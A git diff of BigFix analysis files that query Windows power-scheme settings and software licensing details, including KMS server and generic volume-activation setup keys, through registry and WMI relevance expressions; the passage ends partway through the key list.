-    <Property ID="7" Name="Lock Console when System Wakes (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\0E796BDB-100D-47D6-A2D5-F7D2DAA51F51&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\0E796BDB-100D-47D6-A2D5-F7D2DAA51F51&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0E796BDB-100D-47D6-A2D5-F7D2DAA51F51\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0E796BDB-100D-47D6-A2D5-F7D2DAA51F51\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
-    <Property ID="8" Name="Hibernate Enabled" EvaluationPeriod="PT12H">if exists (key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power&quot; of native registry) whose (exists value &quot;HibernateEnabled&quot; of it) then value &quot;HibernateEnabled&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power&quot; of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Power Scheme Settings
+  ID       : 2994768
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2015-03-27T08:26:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Power Scheme Settings</Title>
+    <Description><![CDATA[<P>Retrieves several&nbsp;values from the current Windows Power Scheme settings.&nbsp; The value that is currently in effect is displayed; this may be a user-overridden value, or defaults for the current Power Scheme. </P>
+<P>This should be able to retrieve power settings for Windows Vista and higher.&nbsp; It has been tested with Windows 7, Windows 2008, and Windows 2008 R2.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6" as version]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 27 Mar 2015 15:24:08 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Power Scheme Name" EvaluationPeriod="PT12H">preceding text of last &quot;%00&quot; of following text of last &quot;,&quot; of (value &quot;FriendlyName&quot; of key (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry as string as trimmed string)</Property>
+    <Property ID="2" Name="Power Scheme GUID" EvaluationPeriod="PT12H">(value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string</Property>
+    <Property ID="3" Name="Video power down timeout (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\7516b95f-f776-4464-8c53-06167f40cc99\3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\7516b95f-f776-4464-8c53-06167f40cc99\3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\7516b95f-f776-4464-8c53-06167f40cc99\3c0bc021-c8a8-4e07-a973-6b14cbcb2b7e\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
+    <Property ID="4" Name="Harddisk power down timeout (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0012ee47-9041-4b5d-9b77-535fba8b1442\6738e2c4-e8a5-4a42-b16a-e040e769756e\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
+    <Property ID="5" Name="System standby timeout (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\29f6c1db-86da-48c5-9fdb-f2b67b1f44da\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
+    <Property ID="6" Name="System hibernation timeout (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\238C9FA8-0AAD-41ED-83F4-97BE242C8F20\9d7815a6-7ee4-497e-8888-515a05f02364\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
+    <Property ID="7" Name="Lock Console when System Wakes (AC)" EvaluationPeriod="PT12H">if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\0E796BDB-100D-47D6-A2D5-F7D2DAA51F51&quot;) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string &amp; &quot;\0E796BDB-100D-47D6-A2D5-F7D2DAA51F51&quot;) of native registry as string else if exists (key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0E796BDB-100D-47D6-A2D5-F7D2DAA51F51\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry) whose (exists value &quot;ACSettingIndex&quot; of it) then value &quot;ACSettingIndex&quot; of key (&quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\PowerSettings\0E796BDB-100D-47D6-A2D5-F7D2DAA51F51\DefaultPowerSchemeValues\&quot; &amp; (value &quot;ActivePowerScheme&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes&quot; of native registry) as string as trimmed string) of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
+    <Property ID="8" Name="Hibernate Enabled" EvaluationPeriod="PT12H">if exists (key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power&quot; of native registry) whose (exists value &quot;HibernateEnabled&quot; of it) then value &quot;HibernateEnabled&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power&quot; of native registry as string else &quot;&lt;not found&gt;&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Windows Software Protection Licensing Information - KMS - Windows (2998367).bes b/Sites/Windows Management/Fixlets/Analyses/Windows Software Protection Licensing Information - KMS - Windows (2998367).bes
index 16ee190ba..644ad6ded 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Windows Software Protection Licensing Information - KMS - Windows (2998367).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Windows Software Protection Licensing Information - KMS - Windows (2998367).bes	
@@ -1,32 +1,32 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Windows Software Protection Licensing Information - KMS - Windows
-  ID       : 2998367
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-08-24T18:06:42
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Windows Software Protection Licensing Information - KMS - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 25 Aug 2016 01:04:22 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="SoftwareLicensingProducts" EvaluationPeriod="PT12H">string values of selects &quot;name from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
-    <Property ID="2" Name="LicenseFamily" EvaluationPeriod="PT12H">string values of selects &quot;LicenseFamily from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
-    <Property ID="3" Name="ProductKeyChannel" EvaluationPeriod="PT6H">string values of selects &quot;ProductKeyChannel from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
-    <Property ID="4" Name="License State" EvaluationPeriod="PT1H">tuple string items (integer values of selects &quot;LicenseStatus from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis) of &quot;Unlicensed, Licensed, OOB Grace, OOT Grace, NonGenuineGrace, Notification, UNKNOWN&quot;</Property>
-    <Property ID="5" Name="Grace Period Expiration" EvaluationPeriod="PT1H">(it * minute + now) whose(it &gt; now) of integer values of selects &quot;GracePeriodRemaining from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
-    <Property ID="6" Name="Partial Product Key" EvaluationPeriod="PT6H">string values of selects &quot;PartialProductKey from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
-    <Property ID="7" Name="KMS Server" EvaluationPeriod="PT12H">unique values of (it as string; string values of selects &quot;KeyManagementServiceMachine from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis) of (values &quot;DiscoveredKeyManagementServiceName&quot; of it; values &quot;KeyManagementServiceName&quot; of it) of (keys &quot;HKEY_USERS\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SL&quot; of it; keys of keys of keys &quot;HKEY_USERS\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of it; keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of it) of (x64 registries; x32 registries)</Property>
-    <Property ID="8" Name="BackupProductKeyDefault" EvaluationPeriod="PT12H">unique values of (it as string) of values &quot;BackupProductKeyDefault&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of (x64 registries; x32 registries)</Property>
-    <Property ID="9" Name="KMS activation key for current edition" EvaluationPeriod="PT12H">((it as trimmed string) of preceding text of first &quot;, &quot; of following text of first ( (&quot;, &quot; &amp; it &amp; &quot;,&quot;) of (it as trimmed string) of ( (preceding text of last &quot;Pro&quot; of it &amp; &quot;Professional&quot; &amp; following text of last &quot;Pro&quot; of it) | it) of unique values of (it as string as trimmed string) of values &quot;ProductName&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of (x64 registries; x32 registries) ) of it) of (&quot;NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, &quot;&amp;&quot;Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, &quot;&amp;&quot;Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, &quot;&amp;&quot;Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, &quot;&amp;&quot;Windows Server 2012 R2 Server Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, &quot;&amp;&quot;Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, &quot;&amp;&quot;Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, &quot;&amp;&quot;Windows Server 2012 Server Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, &quot;&amp;&quot;Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, &quot;&amp;&quot;Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, &quot;&amp;&quot;Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, &quot;&amp;&quot;Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, &quot;&amp;&quot;Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Windows Software Protection Licensing Information - KMS - Windows
+  ID       : 2998367
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-08-24T18:06:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Windows Software Protection Licensing Information - KMS - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 25 Aug 2016 01:04:22 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="SoftwareLicensingProducts" EvaluationPeriod="PT12H">string values of selects &quot;name from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
+    <Property ID="2" Name="LicenseFamily" EvaluationPeriod="PT12H">string values of selects &quot;LicenseFamily from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
+    <Property ID="3" Name="ProductKeyChannel" EvaluationPeriod="PT6H">string values of selects &quot;ProductKeyChannel from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
+    <Property ID="4" Name="License State" EvaluationPeriod="PT1H">tuple string items (integer values of selects &quot;LicenseStatus from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis) of &quot;Unlicensed, Licensed, OOB Grace, OOT Grace, NonGenuineGrace, Notification, UNKNOWN&quot;</Property>
+    <Property ID="5" Name="Grace Period Expiration" EvaluationPeriod="PT1H">(it * minute + now) whose(it &gt; now) of integer values of selects &quot;GracePeriodRemaining from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
+    <Property ID="6" Name="Partial Product Key" EvaluationPeriod="PT6H">string values of selects &quot;PartialProductKey from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis</Property>
+    <Property ID="7" Name="KMS Server" EvaluationPeriod="PT12H">unique values of (it as string; string values of selects &quot;KeyManagementServiceMachine from SoftwareLicensingProduct WHERE PartialProductKey is not NULL&quot; of wmis) of (values &quot;DiscoveredKeyManagementServiceName&quot; of it; values &quot;KeyManagementServiceName&quot; of it) of (keys &quot;HKEY_USERS\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SL&quot; of it; keys of keys of keys &quot;HKEY_USERS\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of it; keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of it) of (x64 registries; x32 registries)</Property>
+    <Property ID="8" Name="BackupProductKeyDefault" EvaluationPeriod="PT12H">unique values of (it as string) of values &quot;BackupProductKeyDefault&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of (x64 registries; x32 registries)</Property>
+    <Property ID="9" Name="KMS activation key for current edition" EvaluationPeriod="PT12H">((it as trimmed string) of preceding text of first &quot;, &quot; of following text of first ( (&quot;, &quot; &amp; it &amp; &quot;,&quot;) of (it as trimmed string) of ( (preceding text of last &quot;Pro&quot; of it &amp; &quot;Professional&quot; &amp; following text of last &quot;Pro&quot; of it) | it) of unique values of (it as string as trimmed string) of values &quot;ProductName&quot; of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of (x64 registries; x32 registries) ) of it) of (&quot;NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, &quot;&amp;&quot;Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, &quot;&amp;&quot;Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, &quot;&amp;&quot;Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, 